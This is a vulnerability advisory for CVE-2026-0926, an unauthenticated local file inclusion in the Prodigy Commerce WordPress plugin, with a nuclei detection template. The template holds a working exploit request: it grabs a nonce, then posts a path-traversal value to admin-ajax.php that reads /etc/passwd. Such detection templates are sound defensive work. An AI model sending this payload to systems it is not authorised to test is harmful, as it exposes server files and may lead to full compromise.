Prodigy Commerce <= 3.3.0 - Local File Inclusion

criticalseverity

9.8CVSS score

9.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.

Impact

Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data, potentially leading to full server compromise.

Fix

Update to the latest version beyond 3.2.9.

How to confirm it

Send: GET {{BaseURL}}
Send: POST /wp-admin/admin-ajax.php
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-0926 -u <target>

The full check

id: CVE-2026-0926

info:
  name: Prodigy Commerce <= 3.3.0 - Local File Inclusion
  author: Shivam Kamboj
  severity: critical
  description: |
    Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data, potentially leading to full server compromise.
  remediation: |
    Update to the latest version beyond 3.2.9.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/prodigy-commerce/prodigy-commerce-329-unauthenticated-local-file-inclusion-via-parameterstemplate-name
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0926
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0926
    epss-score: 0.09304
    epss-percentile: 0.95413
    cwe-id: CWE-98
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,prodigy-commerce,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'var settings\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=prodigy-render-my-account-widget&nonce={{nonce}}&parameters[template_name]=etc/passwd&parameters[default_path]=/

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from